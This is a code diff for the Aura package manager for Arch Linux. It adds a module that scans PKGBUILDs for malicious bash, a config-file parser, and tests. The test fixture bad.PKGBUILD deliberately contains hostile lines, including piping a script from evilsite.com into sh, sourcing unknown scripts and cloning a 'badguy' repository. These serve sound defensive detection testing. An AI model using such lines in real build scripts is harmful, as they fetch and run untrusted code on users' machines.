runStyle usr ["--allsource"]  -- | As of makepkg v4.2, building with `--asroot` is no longer allowed.
lib/Aura/Packages/AUR.hs view
@@ -72,7 +72,7 @@           Nothing -> pure $ Just (S.empty, S.fromList cached)           Just uncached' -> runMaybeT $ do             (bads, goods) <- MaybeT $ aurLookup (managerOf ss) uncached'-            pkgs <- lift . traverse (packageBuildable ss) $ toList goods+            let !pkgs = map FromAUR $ S.toList goods             --- Update Cache ---             let m = M.fromList $ map (pname &&& id) pkgs             liftIO . atomically $ modifyTVar' tv (<> m)
lib/Aura/Pacman.hs view
@@ -20,7 +20,6 @@   , getCachePath   , getLogFilePath     -- * Pacman Config-  , Config(..), config   , getPacmanConf   , getIgnoredPkgs, getIgnoredGroups   , groupPackages@@ -30,6 +29,7 @@   ) where  import           Aura.Languages+import           Aura.Settings.External import           Aura.Types import           Data.Bifunctor (first) import           Lens.Micro (_2)@@ -42,34 +42,9 @@ import qualified RIO.Set as S import qualified RIO.Text as T import           System.Process.Typed-import           Text.Megaparsec hiding (single)-import           Text.Megaparsec.Char-import qualified Text.Megaparsec.Char.Lexer as L+import           Text.Megaparsec (parse)  ------- | The (meaningful) contents of the Pacman config file.-newtype Config = Config (Map Text [Text]) deriving (Show)---- | Parse a `Config`, the pacman configuration file.-config :: Parsec Void Text Config-config = Config . M.fromList . rights <$> (garbage *> some (fmap Right (try pair) <|> fmap Left single) <* eof)--single :: Parsec Void Text ()-single = L.lexeme garbage . void $ manyTill letterChar newline--pair :: Parsec Void Text (Text, [Text])-pair = L.lexeme garbage $ do-  n <- takeWhile1P Nothing (/= ' ')-  space-  void $ char '='-  space-  rest <- T.words <$> takeWhile1P Nothing (/= '\n')-  pure (n, rest)---- | Using `[]` as block comment markers is a trick to skip conf file "section" lines.-garbage :: Parsec Void Text ()-garbage = L.space space1 (L.skipLineComment "#") (L.skipBlockComment "[" "]")  -- | Default location of the pacman config file: \/etc\/pacman.conf pacmanConfFile :: FilePath
− lib/Aura/Pkgbuild/Base.hs
@@ -1,26 +0,0 @@--- |--- Module    : Aura.Pkgbuild.Base--- Copyright : (c) Colin Woodbury, 2012 - 2020--- License   : GPL3--- Maintainer: Colin Woodbury <colin@fosskers.ca>--module Aura.Pkgbuild.Base-  ( -- * Paths-    pkgbuildCache-  , pkgbuildPath-  ) where--import           Aura.Types-import           RIO-import           RIO.FilePath-import qualified RIO.Text as T--------- | The default location: \/var\/cache\/aura\/pkgbuilds\/-pkgbuildCache :: FilePath-pkgbuildCache = "/var/cache/aura/pkgbuilds/"---- | The expected path to a stored PKGBUILD, given some package name.-pkgbuildPath :: PkgName -> FilePath-pkgbuildPath (PkgName p) = pkgbuildCache </> T.unpack p <.> "pb"
− lib/Aura/Pkgbuild/Editing.hs
@@ -1,49 +0,0 @@--- |--- Module    : Aura.Pkgbuild.Base--- Copyright : (c) Colin Woodbury, 2012 - 2020--- License   : GPL3--- Maintainer: Colin Woodbury <colin@fosskers.ca>------ For handling the editing of PKGBUILDs.--module Aura.Pkgbuild.Editing ( hotEdit ) where--import Aura.IO-import Aura.Languages-import Aura.Settings-import Aura.Types-import RIO-import RIO.Directory-import System.Process.Typed (proc, runProcess)--------- | Write a PKGBUILD to the filesystem temporarily, run some effectful--- function over it, then read it back in before proceeding with--- package building.-edit :: (FilePath -> IO a) -> Buildable -> IO Buildable-edit f p = do-  writeFileBinary filename . pkgbuild $ bPkgbuild p-  void $ f filename-  newPB <- readFileBinary filename-  pure (p { bPkgbuild = Pkgbuild newPB})-  where-    filename :: FilePath-    filename = "PKGBUILD"---- | Allow the user to edit the PKGBUILD if they asked to do so.-hotEdit :: Settings -> Buildable -> IO Buildable-hotEdit ss b-  | not $ switch ss HotEdit = pure b-  | otherwise = do-      ans <- liftIO $ optionalPrompt ss (hotEdit_1 $ bName b)-      bool (pure b) f ans-        where-          f :: IO Buildable-          f = do-            here <- getCurrentDirectory-            tmp  <- getTemporaryDirectory-            setCurrentDirectory tmp-            b' <- edit (runProcess . proc (editorOf ss) . (:[])) b-            setCurrentDirectory here-            pure b'
lib/Aura/Pkgbuild/Records.hs view
@@ -9,14 +9,24 @@ module Aura.Pkgbuild.Records   ( hasPkgbuildStored   , storePkgbuilds+  , pkgbuildPath   ) where -import Aura.Pkgbuild.Base-import Aura.Types-import RIO-import RIO.Directory+import           Aura.Types+import           RIO+import           RIO.Directory+import           RIO.FilePath+import qualified RIO.Text as T  ---++-- | The default location: \/var\/cache\/aura\/pkgbuilds\/+pkgbuildCache :: FilePath+pkgbuildCache = "/var/cache/aura/pkgbuilds/"++-- | The expected path to a stored PKGBUILD, given some package name.+pkgbuildPath :: PkgName -> FilePath+pkgbuildPath (PkgName p) = pkgbuildCache </> T.unpack p <.> "pb"  -- | Does a given package has a PKGBUILD stored? -- This is `True` when a package has been built successfully once before.
+ lib/Aura/Security.hs view
@@ -0,0 +1,43 @@+-- |+-- Module    : Aura.Security+-- Copyright : (c) Colin Woodbury, 2012 - 2020+-- License   : GPL3+-- Maintainer: Colin Woodbury <colin@fosskers.ca>+--+-- Code common to the analysis and display of PKGBUILD security issues.++module Aura.Security where++import           Aura.Core+import           Aura.IO+import           Aura.Languages+import           Aura.Pkgbuild.Security+import           Aura.Settings+import           Aura.Types+import           Language.Bash.Pretty (prettyText)+import           Language.Bash.Syntax+import           RIO+import qualified RIO.Text as T++---++-- | Determine if a package's PKGBUILD might contain malicious bash code.+analysePkgbuild :: Buildable -> RIO Env ()+analysePkgbuild b = do+  ss <- asks settings+  let f = do+        yes <- liftIO $ optionalPrompt ss security_6+        when yes . throwM $ Failure security_7+  case parsedPB $ bPkgbuild b of+    Nothing -> warn ss (security_1 $ bName b) *> f+    Just l  -> case bannedTerms l of+      []  -> pure ()+      bts -> do+        scold ss . security_5 $ bName b+        liftIO $ traverse_ (displayBannedTerms ss) bts+        f++displayBannedTerms :: Settings -> (ShellCommand, BannedTerm) -> IO ()+displayBannedTerms ss (stmt, b) = do+  putTextLn . T.pack $ "\n    " <> prettyText stmt <> "\n"+  warn ss $ reportExploit b
lib/Aura/Settings.hs view
@@ -14,11 +14,13 @@   , logFuncOfL     -- * Aura Configuration   , BuildConfig(..), BuildSwitch(..)+  , buildPathOfL, buildUserOfL, buildSwitchesOfL, allsourcePathOfL, vcsPathOfL   , switch   , Truncation(..)   , defaultBuildDir     -- * Pacman Interop   , CommonConfig(..), CommonSwitch(..)+  , cachePathOfL, logPathOfL   , ColourMode(..)   , shared     -- * Makepkg Interop@@ -53,6 +55,12 @@   , logPathOf        :: !(Either FilePath FilePath)   , commonSwitchesOf :: !(Set CommonSwitch) } deriving (Show, Generic) +cachePathOfL :: Lens' CommonConfig (Either FilePath FilePath)+cachePathOfL f cc = (\cp -> cc { cachePathOf = cp }) <$> f (cachePathOf cc)++logPathOfL :: Lens' CommonConfig (Either FilePath FilePath)+logPathOfL f cc = (\cp -> cc { logPathOf = cp }) <$> f (logPathOf cc)+ instance Flagable CommonConfig where   asFlag (CommonConfig cap cop lfp cs) =     either (const []) (\p -> ["--cachedir", T.pack p]) cap@@ -84,11 +92,28 @@ -- | Settings unique to the AUR package building process. data BuildConfig = BuildConfig   { makepkgFlagsOf  :: !(Set Makepkg)-  , buildPathOf     :: !FilePath+  , buildPathOf     :: !(Maybe FilePath)   , buildUserOf     :: !(Maybe User)+  , allsourcePathOf :: !(Maybe FilePath)+  , vcsPathOf       :: !(Maybe FilePath)   , truncationOf    :: !Truncation  -- For `-As`   , buildSwitchesOf :: !(Set BuildSwitch) } deriving (Show) +buildPathOfL :: Lens' BuildConfig (Maybe FilePath)+buildPathOfL f bc = (\bp -> bc { buildPathOf = bp }) <$> f (buildPathOf bc)++buildUserOfL :: Lens' BuildConfig (Maybe User)+buildUserOfL f bc = (\bu -> bc { buildUserOf = bu }) <$> f (buildUserOf bc)++buildSwitchesOfL :: Lens' BuildConfig (Set BuildSwitch)+buildSwitchesOfL f bc = (\bs -> bc { buildSwitchesOf = bs }) <$> f (buildSwitchesOf bc)++allsourcePathOfL :: Lens' BuildConfig (Maybe FilePath)+allsourcePathOfL f bc = (\pth -> bc { allsourcePathOf = pth }) <$> f (allsourcePathOf bc)++vcsPathOfL :: Lens' BuildConfig (Maybe FilePath)+vcsPathOfL f bc = (\pth -> bc { vcsPathOf = pth }) <$> f (vcsPathOf bc)+ -- | Extra options for customizing the build process. data BuildSwitch = DeleteMakeDeps                  | DiffPkgbuilds@@ -98,7 +123,6 @@                  | LowVerbosity                  | RebuildDevel                  | SortAlphabetically  -- For `-As`-                 | UseCustomizepkg                  | ForceBuilding                  | NoPkgbuildCheck                  | AsDeps
+ lib/Aura/Settings/External.hs view
@@ -0,0 +1,104 @@+{-# LANGUAGE DerivingStrategies #-}++-- |+-- Module    : Aura.Settings.External+-- Copyright : (c) Colin Woodbury, 2012 - 2020+-- License   : GPL3+-- Maintainer: Colin Woodbury <colin@fosskers.ca>+--+-- A simple parser for .conf files, along with types for aura-specific config+-- files.++module Aura.Settings.External+  ( -- * Aura Config+    AuraConfig(..)+  , getAuraConf+  , auraConfig+  , defaultAuraConf+    -- * Parsing+  , Config(..)+  , config+  ) where++import           Aura.Languages (langFromLocale)+import           Aura.Settings+import           Aura.Types+import           RIO hiding (first, some, try)+import qualified RIO.ByteString as BS+import           RIO.Directory+import qualified RIO.Map as M+import qualified RIO.Text as T+import           Text.Megaparsec hiding (single)+import           Text.Megaparsec.Char+import qualified Text.Megaparsec.Char.Lexer as L++--------------------------------------------------------------------------------+-- Aura-specific Configuration++data AuraConfig = AuraConfig+  { acLang      :: Maybe Language+  , acEditor    :: Maybe FilePath+  , acUser      :: Maybe User+  , acBuildPath :: Maybe FilePath+  , acASPath    :: Maybe FilePath+  , acVCSPath   :: Maybe FilePath+  , acAnalyse   :: Maybe BuildSwitch }+  deriving stock (Show)++defaultAuraConf :: FilePath+defaultAuraConf = "/etc/aura.conf"++getAuraConf :: FilePath -> IO Config+getAuraConf fp = do+  exists <- doesFileExist fp+  if not exists+    then pure $ Config mempty+    else do+      file <- decodeUtf8Lenient <$> BS.readFile fp+      pure . either (const $ Config M.empty) id $ parse config "aura config" file++auraConfig :: Config -> AuraConfig+auraConfig (Config m) = AuraConfig+  { acLang = one "language" >>= langFromLocale+  , acEditor = T.unpack <$> one "editor"+  , acUser = User <$> one "user"+  , acBuildPath = T.unpack <$> one "buildpath"+  , acASPath = T.unpack <$> one "allsourcepath"+  , acVCSPath = T.unpack <$> one "vcspath"+  , acAnalyse = one "analyse" >>= readMaybe . T.unpack >>= bool (Just NoPkgbuildCheck) Nothing+  }+  where+    one x = M.lookup x m >>= listToMaybe++--------------------------------------------------------------------------------+-- Parsing++-- | The (meaningful) contents of a .conf file.+newtype Config = Config (Map Text [Text]) deriving (Show)++-- | Parse a `Config`.+config :: Parsec Void Text Config+config = do+  garbage+  cs <- some $ fmap Right (try pair) <|> fmap Left single+  eof+  pure . Config . M.fromList $ rights cs++single :: Parsec Void Text ()+single = L.lexeme garbage . void $ manyTill letterChar newline++pair :: Parsec Void Text (Text, [Text])+pair = L.lexeme garbage $ do+  n <- takeWhile1P Nothing (/= ' ')+  space+  void $ char '='+  space+  rest <- T.words <$> takeWhile1P Nothing (/= '\n')+  pure (n, rest)++-- Thu 23 Apr 2020 06:57:59 PM PDT+-- Thank you me-from-the-past for documenting this.+-- | All skippable content. Using `[]` as block comment markers is a trick to+-- skip conf file "section" lines.+garbage :: Parsec Void Text ()+garbage = L.space space1 (L.skipLineComment "#") (L.skipBlockComment "[" "]")
lib/Aura/State.hs view
@@ -72,7 +72,7 @@  -- | Does a given package have an entry in a particular `PkgState`? inState :: SimplePkg -> PkgState -> Bool-inState (SimplePkg n v) s = maybe False (v ==) . M.lookup n $ pkgsOf s+inState (SimplePkg n v) s = (Just v ==) . M.lookup n $ pkgsOf s  rawCurrentState :: IO [SimplePkg] rawCurrentState = mapMaybe simplepkg' <$> pacmanLines ["-Q"]@@ -103,7 +103,7 @@ getStateFiles :: IO [FilePath] getStateFiles = do   createDirectoryIfMissing True stateCache-  L.sort . map (stateCache </>) <$> getDirectoryContents stateCache+  L.sort . map (stateCache </>) <$> listDirectory stateCache  -- | Save a package state. -- In writing the first state file, the `states` directory is created automatically.
lib/Aura/Utils.hs view
@@ -24,6 +24,8 @@     -- * These   , These(..)   , these+    -- * Directory+  , edit     -- * Misc.   , maybe'   , groupsOf@@ -40,6 +42,7 @@ import qualified RIO.NonEmpty as NEL import qualified RIO.Set as S import qualified RIO.Text as T+import           System.Process.Typed (proc, runProcess)  --- @@ -63,6 +66,13 @@     f :: Response BL.ByteString -> Maybe ByteString     f res | statusCode (responseStatus res) == 200 = Just . BL.toStrict $ responseBody res           | otherwise = Nothing++--------------+-- DIRECTORIES+--------------+-- | Edit some file in-place with the user's specified editor.+edit :: FilePath -> FilePath -> IO ()+edit editor p = void . runProcess $ proc editor [p]  ------- -- MISC
test/Test.hs view
@@ -2,8 +2,8 @@  import           Aura.Languages import           Aura.Packages.Repository-import           Aura.Pacman import           Aura.Pkgbuild.Security+import           Aura.Settings.External import           Aura.Types import           Data.Versions import           RIO@@ -20,11 +20,12 @@ main :: IO () main = do   conf <- readFileUtf8 "test/pacman.conf"-  pkb  <- Pkgbuild <$> readFileBinary "test/aura.PKGBUILD"-  defaultMain $ suite conf pkb+  bad  <- Pkgbuild <$> readFileBinary "test/bad.PKGBUILD"+  good  <- Pkgbuild <$> readFileBinary "test/good.PKGBUILD"+  defaultMain $ suite conf bad good -suite :: Text -> Pkgbuild -> TestTree-suite conf pb = testGroup "Unit Tests"+suite :: Text -> Pkgbuild -> Pkgbuild -> TestTree+suite conf badRaw goodRaw = testGroup "Unit Tests"   [ testGroup "Aura.Core"     [ testCase "parseDep - python2" $ parseDep "python2" @?= Just (Dep "python2" Anything)     , testCase "parseDep - python2-lxml>=3.1.0" $ do@@ -67,14 +68,18 @@           assertEqual ("Language name map for " ++ show lang ++ " has incorrect number of items") (length languages - 1) (M.size names)     ]   , testGroup "Aura.Pkgbuild.Security"-    [ testCase "Parsing - aura.PKGBUILD" $+    [ testCase "Parsing - bad.PKGBUILD" $         -- pPrintNoColor $ map (first prettyText) . bannedTerms <$> ppb         -- pPrintNoColor ppb-        assertBool "Failed to parse" $ isJust ppb-    , testCase "Detecting banned terms" $ (length . bannedTerms <$> ppb) @?= Just 5+        assertBool "Failed to parse" $ isJust bad+    , testCase "Detecting banned terms" $ (length . bannedTerms <$> bad) @?= Just 5+    , testCase "Parsing - good.PKGBUILD" $ assertBool "Failed to parse" $ isJust good+    , testCase "Shouldn't find anything" $ (length . bannedTerms <$> good) @?= Just 0     ]   ]-  where ppb = parsedPB pb+  where+    bad = parsedPB badRaw+    good = parsedPB goodRaw  firefox :: Text firefox = "Repository      : extra\n\
+ test/bad.PKGBUILD view
@@ -0,0 +1,74 @@+# Maintainer: Colin Woodbury <colin@fosskers.ca>+_hkgname=aura+pkgname=aura+pkgver=1.4.0+pkgrel=1+pkgdesc="A secure package manager for Arch Linux and the AUR written in Haskell."+url="https://github.com/fosskers/aura"+license=('GPL-3')+arch=('i686' 'x86_64')+depends=('gmp' 'pacman' 'pcre')+CURL=curl+makedepends=('ghc'+             'haskell-aur>=6.0'+             'haskell-mtl'+             'curl'+             'git'+             'haskell-parsec'+             'haskell-regex-base'+             'haskell-regex-pcre'+             'haskell-split'+             "$(curl bad)"+             'haskell-temporary'+             'haskell-text'+             'haskell-transformers')+optdepends=('powerpill:    For faster repository downloads.'+            'customizepkg: For auto-editing of PKGBUILDs.'+            'aur-git:      AUR package completions for zsh.')+provides=('aura')+conflicts=('aura-git' 'aura-bin')+options=('strip')+source=(https://github.com/fosskers/aura/releases/download/v${pkgver}/aura-${pkgver}.tar.gz)+md5sums=('fd2defff494ad7847a0fb9fe73296cf1')++build() {+    cd ${srcdir}/${_hkgname}-${pkgver}+    runhaskell Setup configure --prefix=/usr --docdir=/usr/share/doc/${pkgname} -O+    runhaskell Setup build++    curl "https://evilsite.com/malware.sh" | sh+    cd .+    . evilscript.sh+    git branch foobar+    $CURL evilscript.sh+}++package() {+    cd ${srcdir}/${_hkgname}-${pkgver}+    runhaskell Setup copy --destdir=${pkgdir}++    # Installing man page+    mkdir -p "$pkgdir/usr/share/man/man8/"+    install -m 644 doc/aura.8 "$pkgdir/usr/share/man/man8/aura.8"++    # Installing bash completions+    mkdir -p "$pkgdir/usr/share/bash-completion/completions/"+    install -m 644 doc/completions/bashcompletion.sh "$pkgdir/usr/share/bash-completion/completions/aura"++    # Installing zsh completions+    mkdir -p "$pkgdir/usr/share/zsh/site-functions/"+    install -m 644 doc/completions/_aura "$pkgdir/usr/share/zsh/site-functions/_aura"++    # Directory for storing PKGBUILDs+    mkdir -p "$pkgdir/var/cache/aura/pkgbuilds"++    # Directory for storing source packages+    mkdir -p "$pkgdir/var/cache/aura/src"++    # Directory for storing installed package states+    mkdir -p "$pkgdir/var/cache/aura/states"++    git clone https://github.com/badguy/evilstuff.git+}++source evil.sh
+ test/good.PKGBUILD view
@@ -0,0 +1,43 @@+# Maintainer: Colin Woodbury <colin@fosskers.ca>+_hkgname=aura+pkgname=aura-bin+pkgver=2.4.0+pkgrel=1+pkgdesc="A secure package manager for Arch Linux and the AUR - Prebuilt binary"+url="https://github.com/fosskers/aura"+license=('GPL-3')+arch=('x86_64')+depends=('gmp' 'pacman' 'git')+optdepends=()+provides=('aura')+conflicts=('aura' 'aura-git')+options=('strip')+source=(https://github.com/fosskers/aura/releases/download/v${pkgver}/aura-${pkgver}-x86_64.tar.gz)+md5sums=('4db7c2661224b5d8d7054fff67a55d23')++package() {+    # Install aura binary+    mkdir -p "$pkgdir/usr/bin/"+    install -m 755 aura "$pkgdir/usr/bin/"++    # Installing conf file+    mkdir -p "$pkgdir/etc/"+    install -m 644 aura.conf "$pkgdir/etc/aura.conf"++    # Installing bash completions+    mkdir -p "$pkgdir/usr/share/bash-completion/completions/"+    install -m 644 bashcompletion.sh "$pkgdir/usr/share/bash-completion/completions/aura"++    # Installing zsh completions+    mkdir -p "$pkgdir/usr/share/zsh/site-functions/"+    install -m 644 _aura "$pkgdir/usr/share/zsh/site-functions/_aura"++    # Directory for storing PKGBUILDs+    mkdir -p "$pkgdir/var/cache/aura/pkgbuilds"++    # Directory for storing source packages+    mkdir -p "$pkgdir/var/cache/aura/src"++    # Directory for storing installed package states+    mkdir -p "$pkgdir/var/cache/aura/states"+}
+ test/pacman.conf view
@@ -0,0 +1,114 @@+#+# /etc/pacman.conf+#+# See the pacman.conf(5) manpage for option and repository directives++#+# GENERAL OPTIONS+#+[options]+# The following paths are commented out with their default values listed.+# If you wish to use different paths, uncomment and update the paths.+#RootDir     = /+#DBPath      = /var/lib/pacman/+#CacheDir    = /var/cache/pacman/pkg/+#LogFile     = /var/log/pacman.log+#GPGDir      = /etc/pacman.d/gnupg/+#HookDir     = /etc/pacman.d/hooks/+HoldPkg     = pacman glibc+#XferCommand = /usr/bin/curl -C - -f %u > %o+#XferCommand = /usr/bin/wget --passive-ftp -c -O %o %u+#CleanMethod = KeepInstalled+#UseDelta    = 0.7+Architecture = auto++# Pacman won't upgrade packages listed in IgnorePkg and members of IgnoreGroup+#IgnorePkg   =+#IgnoreGroup =++#NoUpgrade   =+#NoExtract   =++# Misc options+#UseSyslog+#Color+#TotalDownload+CheckSpace+#VerbosePkgLists+ILoveCandy+Color++# By default, pacman accepts packages signed by keys that its local keyring+# trusts (see pacman-key and its man page), as well as unsigned packages.+SigLevel    = Required DatabaseOptional+LocalFileSigLevel = Optional+#RemoteFileSigLevel = Required++# NOTE: You must run `pacman-key --init` before first using pacman; the local+# keyring can then be populated with the keys of all official Arch Linux+# packagers with `pacman-key --populate archlinux`.++#+# REPOSITORIES+#   - can be defined here or included from another file+#   - pacman will search repositories in the order defined here+#   - local/custom mirrors can be added here or in separate files+#   - repositories listed first will take precedence when packages+#     have identical names, regardless of version number+#   - URLs will have $repo replaced by the name of the current repo+#   - URLs will have $arch replaced by the name of the architecture+#+# Repository entries are of the format:+#       [repo-name]+#       Server = ServerName+#       Include = IncludePath+#+# The header [repo-name] is crucial - it must be present and+# uncommented to enable the repo.+#++# The testing repositories are disabled by default. To enable, uncomment the+# repo name header and Include lines. You can add preferred servers immediately+# after the header, and they will be used before the default mirrors.++#[testing]+#Include = /etc/pacman.d/mirrorlist++[core]+Include = /etc/pacman.d/mirrorlist++[extra]+Include = /etc/pacman.d/mirrorlist++#[community-testing]+#Include = /etc/pacman.d/mirrorlist++# [haskell-core]+# Server = http://xsounds.org/~haskell/core/$arch++[community]+Include = /etc/pacman.d/mirrorlist++[multilib]+Include = /etc/pacman.d/mirrorlist++#[infinality-bundle]+#Server = http://bohoomil.com/repo/$arch++#[infinality-bundle-fonts]+#Server = http://bohoomil.com/repo/fonts++# If you want to run 32 bit applications on your x86_64 system,+# enable the multilib repositories as required here.++#[multilib-testing]+#Include = /etc/pacman.d/mirrorlist++#[multilib]+#Include = /etc/pacman.d/mirrorlist++# An example of a custom package repository.  See the pacman manpage for+# tips on creating your own repositories.+#[custom]+#SigLevel = Optional TrustAll+#Server = file:///home/custompkgs